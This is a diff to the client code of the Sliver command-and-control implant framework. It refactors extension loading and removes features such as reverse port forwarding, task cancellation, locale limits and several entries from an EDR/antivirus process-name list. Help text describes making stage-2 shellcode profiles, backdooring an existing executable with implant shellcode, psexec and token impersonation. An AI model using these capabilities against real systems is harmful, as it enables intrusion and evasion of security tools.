if errRegister := registerExtension(goos, ext, binData, ctx, con); errRegister != nil {
return errRegister
}
return nil
}
func registerExtension(goos string, ext *ExtensionManifest, binData []byte, ctx *grumble.Context, con *console.SliverConsoleClient) error {
registerResp, err := con.Rpc.RegisterExtension(context.Background(), &sliverpb.RegisterExtensionReq{
Name: ext.CommandName,
Data: binData,
OS: goos,
Init: ext.Init,
Request: con.ActiveTarget.Request(ctx),
})
if err != nil {
return err
}
if registerResp.Response != nil && registerResp.Response.Err != "" {
return errors.New(registerResp.Response.Err)
}
return nil
}
func loadDep(goos string, goarch string, depName string, ctx *grumble.Context, con *console.SliverConsoleClient) error {
depExt, ok := loadedExtensions[depName]
if ok {
depBinPath, err := depExt.getFileForTarget(depExt.CommandName, goos, goarch)
if err != nil {
return err
}
depBinData, err := ioutil.ReadFile(depBinPath)
if err != nil {
return err
}
return registerExtension(goos, depExt, depBinData, ctx, con)
}
return fmt.Errorf("missing dependency %s", depName)
}
func runExtensionCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
var (
err error
@@ -325,19 +130,19 @@ func runExtensionCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
goarch = beacon.Arch
}
ext, ok := loadedExtensions[ctx.Command.Name]
if !ok {
con.PrintErrorf("No extension command found for `%s` command\n", ctx.Command.Name)
ext, err := extensions.GetLoadedExtension(ctx.Command.Name)
if err != nil {
con.PrintErrorf("%v\n", err)
return
}
checkCache := session != nil
if err = loadExtension(goos, goarch, checkCache, ext, ctx, con); err != nil {
if err = extensions.LoadExtension(goos, goarch, checkCache, ext, con.ActiveTarget.Request(ctx), con.Rpc); err != nil {
con.PrintErrorf("Could not load extension: %s\n", err)
return
}
binPath, err := ext.getFileForTarget(ctx.Command.Name, goos, goarch)
binPath, err := ext.GetFileForTarget(ctx.Command.Name, goos, goarch)
if err != nil {
con.PrintErrorf("Failed to read extension file: %s\n", err)
return
@@ -358,7 +163,12 @@ func runExtensionCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
return
}
extName = ext.DependsOn
entryPoint = loadedExtensions[extName].Entrypoint // should exist at this point
depExt, err := extensions.GetLoadedExtension(extName)
if err != nil {
con.PrintErrorf("Could not find dependency %s for extension %s\n", extName, ext.CommandName)
return
}
entryPoint = depExt.Entrypoint // should exist at this point
} else {
// Regular DLL
extArgs := strings.Join(ctx.Args.StringList("arguments"), " ")
@@ -414,7 +224,7 @@ func PrintExtOutput(extName string, commandName string, callExtension *sliverpb.
}
}
func getBOFArgs(ctx *grumble.Context, binPath string, ext *ExtensionManifest) ([]byte, error) {
func getBOFArgs(ctx *grumble.Context, binPath string, ext *extensions.ExtensionManifest) ([]byte, error) {
var extensionArgs []byte
binData, err := ioutil.ReadFile(binPath)
if err != nil {
+3 -29
View File
@@ -19,15 +19,11 @@ package extensions
*/
import (
"errors"
"fmt"
"os"
"path/filepath"
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/assets"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/util"
"github.com/bishopfox/sliver/client/extensions"
"github.com/desertbit/grumble"
)
@@ -44,7 +40,8 @@ func ExtensionsRemoveCmd(ctx *grumble.Context, con *console.SliverConsoleClient)
if !confirm {
return
}
err := RemoveExtensionByCommandName(name, con)
con.App.Commands().Remove(name)
err := extensions.RemoveExtensionByCommandName(name)
if err != nil {
con.PrintErrorf("Error removing extension: %s\n", err)
return
@@ -52,26 +49,3 @@ func ExtensionsRemoveCmd(ctx *grumble.Context, con *console.SliverConsoleClient)
con.PrintInfof("Extension '%s' removed\n", name)
}
}
// RemoveExtensionByCommandName - Remove an extension by command name
func RemoveExtensionByCommandName(commandName string, con *console.SliverConsoleClient) error {
if commandName == "" {
return errors.New("command name is required")
}
if _, ok := loadedExtensions[commandName]; !ok {
return errors.New("extension not loaded")
}
delete(loadedExtensions, commandName)
con.App.Commands().Remove(commandName)
extPath := filepath.Join(assets.GetExtensionsDir(), filepath.Base(commandName))
if _, err := os.Stat(extPath); os.IsNotExist(err) {
return nil
}
forceRemoveAll(extPath)
return nil
}
func forceRemoveAll(rootPath string) {
util.ChmodR(rootPath, 0o600, 0o700)
os.RemoveAll(rootPath)
}
+2 -1
View File
@@ -22,6 +22,7 @@ import (
"context"
"fmt"
"os"
"path"
"path/filepath"
"regexp"
"runtime"
@@ -172,7 +173,7 @@ func HandleDownloadResponse(download *sliverpb.Download, ctx *grumble.Context, c
fileName = fmt.Sprintf("down_%d.tar.gz", time.Now().Unix())
}
}
dst = filepath.Join(dst, fileName)
dst = path.Join(dst, fileName)
}
// Add an extension to a directory download if one is not provided.
-6
View File
@@ -249,7 +249,6 @@ func parseCompileFlags(ctx *grumble.Context, con *console.SliverConsoleClient) *
limitUsername := ctx.Flags.String("limit-username")
limitDatetime := ctx.Flags.String("limit-datetime")
limitFileExists := ctx.Flags.String("limit-fileexists")
limitLocale := ctx.Flags.String("limit-locale")
isSharedLib := false
isService := false
@@ -338,7 +337,6 @@ func parseCompileFlags(ctx *grumble.Context, con *console.SliverConsoleClient) *
LimitUsername: limitUsername,
LimitDatetime: limitDatetime,
LimitFileExists: limitFileExists,
LimitLocale: limitLocale,
Format: configFormat,
IsSharedLib: isSharedLib,
@@ -479,7 +477,6 @@ func ParseHTTPc2(args string) ([]*clientpb.ImplantC2, error) {
return nil, err
}
}
uri.Path = strings.TrimSuffix(uri.Path, "/")
if uri.Scheme != "http" && uri.Scheme != "https" {
return nil, fmt.Errorf("invalid http(s) scheme: %s", uri.Scheme)
}
@@ -696,9 +693,6 @@ func getLimitsString(config *clientpb.ImplantConfig) string {
if config.LimitFileExists != "" {
limits = append(limits, fmt.Sprintf("fileexists=%s", config.LimitFileExists))
}
if config.LimitLocale != "" {
limits = append(limits, fmt.Sprintf("locale=%s", config.LimitLocale))
}
return strings.Join(limits, "; ")
}
+3 -3
View File
@@ -206,10 +206,10 @@ stage-listener --url tcp://1.2.3.4:8080 --profile my-sliver-profile
To create a profile, use the [[.Bold]]profiles new[[.Normal]] command. A common scenario is to create a profile that generates a shellcode, which can act as a stage 2:
profiles new --format shellcode --mtls 1.2.3.4 --skip-symbols windows-shellcode
profiles new --profile-name windows-shellcode --format shellcode --mtls 1.2.3.4 --skip-symbols
`
newProfileHelp = `[[.Bold]]Command:[[.Normal]] new <options> <profile name>
newProfileHelp = `[[.Bold]]Command:[[.Normal]] new [--profile-name] <options>
[[.Bold]]About:[[.Normal]] Create a new profile with a given name and options, a name is required.
[[.Bold]][[.Underline]]++ Profiles ++[[.Normal]]
@@ -464,7 +464,7 @@ The [[.Bold]]psexec[[.Normal]] command will use the credentials of the Windows u
[[.Bold]]About:[[.Normal]] Inject a sliver shellcode into an existing file on the target system.
[[.Bold]]Example:[[.Normal]] backdoor --profile windows-shellcode "c:\windows\system32\calc.exe"
[[.Bold]]Remark:[[.Normal]] you must first create a profile that will serve as your base shellcode, with the following command: profiles new --format shellcode --http ab.cd windows-shellcode
[[.Bold]]Remark:[[.Normal]] you must first create a profile that will serve as your base shellcode, with the following command: profiles new --format shellcode --profile-name whatever --http ab.cd
`
makeTokenHelp = `[[.Bold]]Command:[[.Normal]] make-token -u USERNAME -d DOMAIN -p PASSWORD
[[.Bold]]About:[[.Normal]] Creates a new Logon Session from the specified credentials and impersonate the resulting token.
-5
View File
@@ -26,7 +26,6 @@ import (
"sort"
"strings"
"text/tabwriter"
"time"
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/command/settings"
@@ -66,12 +65,10 @@ func hostsTable(hosts []*clientpb.Host, con *console.SliverConsoleClient) string
"ID",
"Hostname",
"Operating System",
"Locale",
"Sessions",
"Beacons",
"IOCs",
"Extensions",
"First Contact",
})
for _, host := range hosts {
var shortID string
@@ -84,12 +81,10 @@ func hostsTable(hosts []*clientpb.Host, con *console.SliverConsoleClient) string
shortID,
host.Hostname,
host.OSVersion,
host.Locale,
hostSessions(host.HostUUID, con),
hostBeacons(host.HostUUID, con),
len(host.IOCs),
len(host.ExtensionData),
con.FormatDateDelta(time.Unix(host.FirstContact, 0), true, false),
})
}
return tw.Render()
+3 -26
View File
@@ -22,7 +22,6 @@ import (
"context"
"time"
"github.com/bishopfox/sliver/client/command/use"
"github.com/bishopfox/sliver/client/console"
consts "github.com/bishopfox/sliver/client/constants"
"github.com/bishopfox/sliver/protobuf/clientpb"
@@ -34,25 +33,10 @@ import (
// InfoCmd - Display information about the active session
func InfoCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
var err error
// Check if we have an active target via 'use'
session, beacon := con.ActiveTarget.Get()
idArg := ctx.Args.String("session")
if idArg != "" {
// ID passed via argument takes priority
session, beacon, err = use.SessionOrBeaconByID(idArg, con)
} else {
if session == nil && beacon == nil {
session, beacon, err = use.SelectSessionOrBeacon(con)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
}
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
}
if session != nil {
con.Printf(console.Bold+" Session ID: %s%s\n", console.Normal, session.ID)
@@ -65,14 +49,11 @@ func InfoCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.Printf(console.Bold+" PID: %s%d\n", console.Normal, session.PID)
con.Printf(console.Bold+" OS: %s%s\n", console.Normal, session.OS)
con.Printf(console.Bold+" Version: %s%s\n", console.Normal, session.Version)
con.Printf(console.Bold+" Locale: %s%s\n", console.Normal, session.Locale)
con.Printf(console.Bold+" Arch: %s%s\n", console.Normal, session.Arch)
con.Printf(console.Bold+" Active C2: %s%s\n", console.Normal, session.ActiveC2)
con.Printf(console.Bold+" Remote Address: %s%s\n", console.Normal, session.RemoteAddress)
con.Printf(console.Bold+" Proxy URL: %s%s\n", console.Normal, session.ProxyURL)
con.Printf(console.Bold+"Reconnect Interval: %s%s\n", console.Normal, time.Duration(session.ReconnectInterval).String())
con.Printf(console.Bold+" First Contact: %s%s\n", console.Normal, con.FormatDateDelta(time.Unix(session.FirstContact, 0), true, false))
con.Printf(console.Bold+" Last Checkin: %s%s\n", console.Normal, con.FormatDateDelta(time.Unix(session.LastCheckin, 0), true, false))
} else if beacon != nil {
@@ -86,16 +67,12 @@ func InfoCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.Printf(console.Bold+" PID: %s%d\n", console.Normal, beacon.PID)
con.Printf(console.Bold+" OS: %s%s\n", console.Normal, beacon.OS)
con.Printf(console.Bold+" Version: %s%s\n", console.Normal, beacon.Version)
con.Printf(console.Bold+" Locale: %s%s\n", console.Normal, beacon.Locale)
con.Printf(console.Bold+" Arch: %s%s\n", console.Normal, beacon.Arch)
con.Printf(console.Bold+" Active C2: %s%s\n", console.Normal, beacon.ActiveC2)
con.Printf(console.Bold+" Remote Address: %s%s\n", console.Normal, beacon.RemoteAddress)
con.Printf(console.Bold+" Proxy URL: %s%s\n", console.Normal, beacon.ProxyURL)
con.Printf(console.Bold+" Interval: %s%s\n", console.Normal, time.Duration(beacon.Interval).String())
con.Printf(console.Bold+" Jitter: %s%s\n", console.Normal, time.Duration(beacon.Jitter).String())
con.Printf(console.Bold+" First Contact: %s%s\n", console.Normal, con.FormatDateDelta(time.Unix(beacon.FirstContact, 0), true, false))
con.Printf(console.Bold+" Last Checkin: %s%s\n", console.Normal, con.FormatDateDelta(time.Unix(beacon.LastCheckin, 0), true, false))
con.Printf(console.Bold+" Next Checkin: %s%s\n", console.Normal, con.FormatDateDelta(time.Unix(beacon.NextCheckin, 0), true, true))
} else {
con.PrintErrorf("No target session, see `help %s`\n", consts.InfoStr)
-1
View File
@@ -68,7 +68,6 @@ func HTTPSListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
EnforceOTP: !disableOTP,
LongPollTimeout: int64(longPollTimeout),
LongPollJitter: int64(longPollJitter),
RandomizeJARM: !ctx.Flags.Bool("disable-randomized-jarm"),
})
con.Println()
if err != nil {
-17
View File
@@ -22,7 +22,6 @@ import (
"bytes"
"compress/zlib"
"context"
"encoding/binary"
"net/url"
"strconv"
"strings"
@@ -40,7 +39,6 @@ func StageListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
listenerURL := ctx.Flags.String("url")
aesEncryptKey := ctx.Flags.String("aes-encrypt-key")
aesEncryptIv := ctx.Flags.String("aes-encrypt-iv")
prependSize := ctx.Flags.Bool("prepend-size")
compress := strings.ToLower(ctx.Flags.String("compress"))
if profileName == "" || listenerURL == "" {
@@ -119,9 +117,6 @@ func StageListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
switch stagingURL.Scheme {
case "http":
if prependSize {
stage2 = prependPayloadSize(stage2)
}
ctrl := make(chan bool)
con.SpinUntil("Starting HTTP staging listener...", ctrl)
stageListener, err := con.Rpc.StartHTTPStagerListener(context.Background(), &clientpb.StagerListenerReq{
@@ -138,9 +133,6 @@ func StageListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
}
con.PrintInfof("Job %d (http) started\n", stageListener.GetJobID())
case "https":
if prependSize {
stage2 = prependPayloadSize(stage2)
}
cert, key, err := getLocalCertificatePair(ctx)
if err != nil {
con.Println()
@@ -166,8 +158,6 @@ func StageListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
}
con.PrintInfof("Job %d (https) started\n", stageListener.GetJobID())
case "tcp":
// Always prepend payload size for TCP stagers
stage2 = prependPayloadSize(stage2)
ctrl := make(chan bool)
con.SpinUntil("Starting TCP staging listener...", ctrl)
stageListener, err := con.Rpc.StartTCPStagerListener(context.Background(), &clientpb.StagerListenerReq{
@@ -194,10 +184,3 @@ func StageListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.PrintInfof("AES IV: %v\n", aesEncryptIv)
}
}
func prependPayloadSize(payload []byte) []byte {
payloadSize := uint32(len(payload))
lenBuf := make([]byte, 4)
binary.LittleEndian.PutUint32(lenBuf, payloadSize)
return append(lenBuf, payload...)
}
+4 -14
View File
@@ -19,10 +19,8 @@ package portfwd
*/
import (
"fmt"
"log"
"net"
"regexp"
"time"
"github.com/bishopfox/sliver/client/console"
@@ -31,10 +29,6 @@ import (
"github.com/desertbit/grumble"
)
var (
portNumberOnlyRegexp = regexp.MustCompile("^[0-9]+$")
)
// PortfwdAddCmd - Add a new tunneled port forward
func PortfwdAddCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveTarget.GetSessionInteractive()
@@ -42,10 +36,10 @@ func PortfwdAddCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
return
}
if session.GetActiveC2() == "dns" {
con.PrintWarnf("The current C2 is DNS, this is going to be a very slow tunnel!\n")
con.PrintWarnf("Current C2 is DNS, this is going to be a very slow tunnel!\n")
}
if session.Transport == "wg" {
con.PrintWarnf("The current C2 is WireGuard, we recommend using the `wg-portfwd` command!\n")
con.PrintWarnf("Current C2 is WireGuard, we recommend using the `wg-portfwd` command!\n")
}
remoteAddr := ctx.Flags.String("remote")
if remoteAddr == "" {
@@ -61,14 +55,10 @@ func PortfwdAddCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.PrintWarnf("RDP is generally broken over tunneled portfwds, we recommend using WireGuard portfwds\n")
}
bindAddr := ctx.Flags.String("bind")
if bindAddr == "" {
con.PrintErrorf("Must specify a bind target host:port (e.g. 127.0.0.1:8000)")
if remoteAddr == "" {
con.PrintErrorf("Must specify a bind target host:port")
return
}
// If only a port is specified bind to localhost
if portNumberOnlyRegexp.MatchString(bindAddr) {
bindAddr = fmt.Sprintf("127.0.0.1:%s", bindAddr)
}
tcpProxy := &tcpproxy.Proxy{}
channelProxy := &core.ChannelProxy{
-21
View File
@@ -39,11 +39,6 @@ var (
// Process Name -> [Color, Stylized Name]
"ccSvcHst.exe": {console.Red, "Symantec Endpoint Protection"}, // Symantec Endpoint Protection (SEP)
"cb.exe": {console.Red, "Carbon Black"}, // Carbon Black
"RepMgr.exe": {console.Red, "Carbon Black Cloud Sensor"}, // Carbon Black Cloud Sensor
"RepUtils.exe": {console.Red, "Carbon Black Cloud Sensor"}, // Carbon Black Cloud Sensor
"RepUx.exe": {console.Red, "Carbon Black Cloud Sensor"}, // Carbon Black Cloud Sensor
"RepWSC.exe": {console.Red, "Carbon Black Cloud Sensor"}, // Carbon Black Cloud Sensor
"scanhost.exe": {console.Red, "Carbon Black Cloud Sensor"}, // Carbon Black Cloud Sensor
"MsMpEng.exe": {console.Red, "Windows Defender"}, // Windows Defender
"smartscreen.exe": {console.Red, "Windows Smart Screen"}, // Windows Defender Smart Screen
"CSFalconService.exe": {console.Red, "CrowdStrike"}, // Crowdstrike Falcon Service
@@ -51,28 +46,12 @@ var (
"bdservicehost.exe": {console.Red, "Bitdefender"}, // Bitdefender (Total Security)
"bdagent.exe": {console.Red, "Bitdefender"}, // Bitdefender (Total Security)
"bdredline.exe": {console.Red, "Bitdefender"}, // Bitdefender Redline Update Service (Source https://community.bitdefender.com/en/discussion/82135/bdredline-exe-bitdefender-total-security-2020)
"Deep Security Manager.exe": {console.Red, "Trend Micro"}, // TM Deep Security Manager
"coreServiceShell.exe": {console.Red, "Trend Micro"}, // TM Anti-malware scan process
"ds_monitor.exe": {console.Red, "Trend Micro"}, // TM Deep Security Monitor
"Notifier.exe": {console.Red, "Trend Micro"}, // TM Deep Security Notifier's process
"dsa.exe": {console.Red, "Trend Micro"}, // TM Agent's main process
"ds_nuagent.exe": {console.Red, "Trend Micro"}, // TM Advanced TLS traffic inspection
"coreFrameworkHost.exe": {console.Red, "Trend Micro"}, // TM Anti-malware scan process
"SentinelServiceHost.exe": {console.Red, "SentinelOne"}, // Sentinel One
"SentinelStaticEngine.exe": {console.Red, "SentinelOne"}, // Sentinel One
"SentinelStaticEngineScanner.exe": {console.Red, "SentinelOne"}, // Sentinel One
"SentinelAgent.exe": {console.Red, "SentinelOne"}, // Sentinel One
"SentinelAgentWorker.exe": {console.Red, "SentinelOne"}, // Sentinel One
"SentinelHelperService.exe": {console.Red, "SentinelOne"}, // Sentinel One
"SentinelBrowserNativeHost.exe": {console.Red, "SentinelOne"}, // Sentinel One
"SentinelUI.exe": {console.Red, "SentinelOne"}, // Sentinel One
"Sysmon.exe": {console.Red, "Sysmon"}, // Sysmon
"Sysmon64.exe": {console.Red, "Sysmon64"}, // Sysmon64
"CylanceSvc.exe": {console.Red, "Cylance"}, // Cylance
"CylanceUI.exe": {console.Red, "Cylance"}, // Cylance
"TaniumClient.exe": {console.Red, "Tanium"}, // Tanium
"TaniumCX.exe": {console.Red, "Tanium"}, // Tanium
"TaniumDetectEngine.exe": {console.Red, "Tanium"}, // Tanium
}
)
-77
View File
@@ -1,77 +0,0 @@
package rportfwd
/*
Sliver Implant Framework
Copyright (C) 2019 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"fmt"
"regexp"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/desertbit/grumble"
)
var (
portNumberOnlyRegexp = regexp.MustCompile("^[0-9]+$")
)
// StartRportFwdListenerCmd - Start listener for reverse port forwarding on implant
func StartRportFwdListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
if session.GetActiveC2() == "dns" {
con.PrintWarnf("The current C2 is DNS, this is going to be a very slow tunnel!\n")
}
bindAddress := ctx.Flags.String("bind")
// Check if the bind address is just a port number, if no host is specified
// we just bind to all interfaces implant-side
if portNumberOnlyRegexp.MatchString(bindAddress) {
bindAddress = fmt.Sprintf(":%s", bindAddress)
}
forwardAddress := ctx.Flags.String("remote")
// Check if the forward address is just a port number, if no host is specified
// we just forward to localhost client-side
if portNumberOnlyRegexp.MatchString(forwardAddress) {
forwardAddress = fmt.Sprintf("127.0.0.1:%s", forwardAddress)
}
rportfwdListener, err := con.Rpc.StartRportFwdListener(context.Background(), &sliverpb.RportFwdStartListenerReq{
Request: con.ActiveTarget.Request(ctx),
BindAddress: bindAddress,
ForwardAddress: forwardAddress,
})
if err != nil {
con.PrintWarnf("%s\n", err)
return
}
printStartedRportFwdListener(rportfwdListener, con)
}
func printStartedRportFwdListener(rportfwdListener *sliverpb.RportFwdListener, con *console.SliverConsoleClient) {
if rportfwdListener.Response != nil && rportfwdListener.Response.Err != "" {
con.PrintErrorf("%s", rportfwdListener.Response.Err)
return
}
con.PrintInfof("Reverse port forwarding %s <- %s\n", rportfwdListener.ForwardAddress, rportfwdListener.BindAddress)
}
-55
View File
@@ -1,55 +0,0 @@
package rportfwd
/*
Sliver Implant Framework
Copyright (C) 2019 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/desertbit/grumble"
)
// StartRportFwdListenerCmd - Start listener for reverse port forwarding on implant
func StopRportFwdListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
listenerID := ctx.Flags.Int("id")
rportfwdListener, err := con.Rpc.StopRportFwdListener(context.Background(), &sliverpb.RportFwdStopListenerReq{
Request: con.ActiveTarget.Request(ctx),
ID: uint32(listenerID),
})
if err != nil {
con.PrintWarnf("%s\n", err)
return
}
printStoppedRportFwdListener(rportfwdListener, con)
}
func printStoppedRportFwdListener(rportfwdListener *sliverpb.RportFwdListener, con *console.SliverConsoleClient) {
if rportfwdListener.Response != nil && rportfwdListener.Response.Err != "" {
con.PrintErrorf("%s", rportfwdListener.Response.Err)
return
}
con.PrintInfof("Stopped reverse port forwarding %s <- %s\n", rportfwdListener.ForwardAddress, rportfwdListener.BindAddress)
}
-74
View File
@@ -1,74 +0,0 @@
package rportfwd
/*
Sliver Implant Framework
Copyright (C) 2019 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"github.com/bishopfox/sliver/client/command/settings"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/desertbit/grumble"
"github.com/jedib0t/go-pretty/v6/table"
)
// StartRportFwdListenerCmd - Start listener for reverse port forwarding on implant
func RportFwdListenersCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
rportfwdListeners, err := con.Rpc.GetRportFwdListeners(context.Background(), &sliverpb.RportFwdListenersReq{
Request: con.ActiveTarget.Request(ctx),
})
if err != nil {
con.PrintWarnf("%s\n", err)
return
}
PrintRportFwdListeners(rportfwdListeners, ctx.Flags, con)
}
func PrintRportFwdListeners(rportfwdListeners *sliverpb.RportFwdListeners, flags grumble.FlagMap, con *console.SliverConsoleClient) {
if rportfwdListeners.Response != nil && rportfwdListeners.Response.Err != "" {
con.PrintErrorf("%s\n", rportfwdListeners.Response.Err)
return
}
if len(rportfwdListeners.Listeners) == 0 {
con.PrintInfof("No reverse port forwards\n")
return
}
tw := table.NewWriter()
tw.SetStyle(settings.GetTableStyle(con))
tw.AppendHeader(table.Row{
"ID",
"Remote Address",
"Bind Address",
})
for _, p := range rportfwdListeners.Listeners {
tw.AppendRow(table.Row{
p.ID,
p.ForwardAddress,
p.BindAddress,
})
}
con.Printf("%s\n", tw.Render())
}
+3 -6
View File
@@ -130,9 +130,8 @@ func PrintSessions(sessions map[string]*clientpb.Session, filter string, filterR
tw := table.NewWriter()
tw.SetStyle(settings.GetTableStyle(con))
wideTermWidth := con.Settings.SmallTermWidth < width
if wideTermWidth {
if con.Settings.SmallTermWidth < width {
tw.AppendHeader(table.Row{
"ID",
"Name",
@@ -141,7 +140,6 @@ func PrintSessions(sessions map[string]*clientpb.Session, filter string, filterR
"Hostname",
"Username",
"Operating System",
"Locale",
"Last Message",
"Health",
})
@@ -179,7 +177,7 @@ func PrintSessions(sessions map[string]*clientpb.Session, filter string, filterR
username := strings.TrimPrefix(session.Username, session.Hostname+"\\") // For non-AD Windows users
var rowEntries []string
if wideTermWidth {
if con.Settings.SmallTermWidth < width {
rowEntries = []string{
fmt.Sprintf(color+"%s"+console.Normal, ShortSessionID(session.ID)),
fmt.Sprintf(color+"%s"+console.Normal, session.Name),
@@ -188,8 +186,7 @@ func PrintSessions(sessions map[string]*clientpb.Session, filter string, filterR
fmt.Sprintf(color+"%s"+console.Normal, session.Hostname),
fmt.Sprintf(color+"%s"+console.Normal, username),
fmt.Sprintf(color+"%s/%s"+console.Normal, session.OS, session.Arch),
fmt.Sprintf(color+"%s"+console.Normal, session.Locale),
con.FormatDateDelta(time.Unix(session.LastCheckin, 0), wideTermWidth, false),
fmt.Sprintf(color+"%s"+console.Normal, time.Unix(session.LastCheckin, 0).Format(time.RFC1123)),
burned + SessionHealth,
}
} else {
-2
View File
@@ -157,8 +157,6 @@ func emojiState(state string) string {
return "⏳"
case "failed":
return "❌"
case "canceled":
return "🚫"
default:
return "❓"
}
-60
View File
@@ -1,60 +0,0 @@
package tasks
import (
"context"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/desertbit/grumble"
)
// TasksCancelCmd - Cancel a beacon task before it's sent to the implant
func TasksCancelCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
beacon := con.ActiveTarget.GetBeaconInteractive()
if beacon == nil {
return
}
idArg := ctx.Args.String("id")
var task *clientpb.BeaconTask
var err error
if idArg == "" {
beaconTasks, err := con.Rpc.GetBeaconTasks(context.Background(), &clientpb.Beacon{ID: beacon.ID})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
tasks := []*clientpb.BeaconTask{}
for _, task := range beaconTasks.Tasks {
if task.State == "pending" {
tasks = append(tasks, task)
}
}
if len(tasks) == 0 {
con.PrintErrorf("No pending tasks for beacon\n")
return
}
task, err = SelectBeaconTask(tasks)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
con.Printf(console.UpN+console.Clearln, 1)
} else {
task, err = con.Rpc.GetBeaconTaskContent(context.Background(), &clientpb.BeaconTask{ID: idArg})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
}
if task != nil {
task, err := con.Rpc.CancelBeaconTask(context.Background(), task)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
con.PrintInfof("Task %s canceled\n", task.ID)
}
}
-2
View File
@@ -97,8 +97,6 @@ func prettyState(state string) string {
return console.Bold + console.Orange + state + console.Normal
case "completed":
return console.Bold + console.Green + state + console.Normal
case "canceled":
return console.Bold + console.Gray + state + console.Normal
default:
return state
}
-28
View File
@@ -525,34 +525,6 @@ func (con *SliverConsoleClient) SpinUntil(message string, ctrl chan bool) {
go spin.Until(con.App.Stdout(), message, ctrl)
}
// FormatDateDelta - Generate formatted date string of the time delta between then and now
func (con *SliverConsoleClient) FormatDateDelta(t time.Time, includeDate bool, color bool) string {
nextTime := t.Format(time.UnixDate)
var interval string
if t.Before(time.Now()) {
if includeDate {
interval = fmt.Sprintf("%s (%s ago)", nextTime, time.Since(t).Round(time.Second))
} else {
interval = time.Since(t).Round(time.Second).String()
}
if color {
interval = fmt.Sprintf("%s%s%s", Bold+Red, interval, Normal)
}
} else {
if includeDate {
interval = fmt.Sprintf("%s (in %s)", nextTime, time.Until(t).Round(time.Second))
} else {
interval = time.Until(t).Round(time.Second).String()
}
if color {
interval = fmt.Sprintf("%s%s%s", Bold+Green, interval, Normal)
}
}
return interval
}
//
// -------------------------- [ Active Target ] --------------------------
//
+2 -11
View File
@@ -88,12 +88,6 @@ const (
// BeaconTaskResult - Beacon task completed with a result
BeaconTaskResultEvent = "beacon-taskresult"
// ExternalBuildEvent
ExternalBuildEvent = "external-build"
// WireGuardNewPeer - New Wireguard peer added
WireGuardNewPeer = "wireguard-newpeer"
)
// Commands
@@ -110,7 +104,6 @@ const (
ReconfigStr = "reconfig"
PruneStr = "prune"
TasksStr = "tasks"
CancelStr = "cancel"
GenerateStr = "generate"
RegenerateStr = "regenerate"
CompilerInfoStr = "info"
@@ -230,9 +223,8 @@ const (
InteractiveStr = "interactive"
CloseStr = "close"
PortfwdStr = "portfwd"
Socks5Str = "socks5"
RportfwdStr = "rportfwd"
PortfwdStr = "portfwd"
Socks5Str = "socks5"
ReactionStr = "reaction"
@@ -252,7 +244,6 @@ const (
CursedConsole = "console"
CursedElectron = "electron"
CursedEdge = "edge"
CursedCookies = "cookies"
)
// Groups
+103
View File
@@ -0,0 +1,103 @@
package extensions
/*
Sliver Implant Framework
Copyright (C) 2022 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
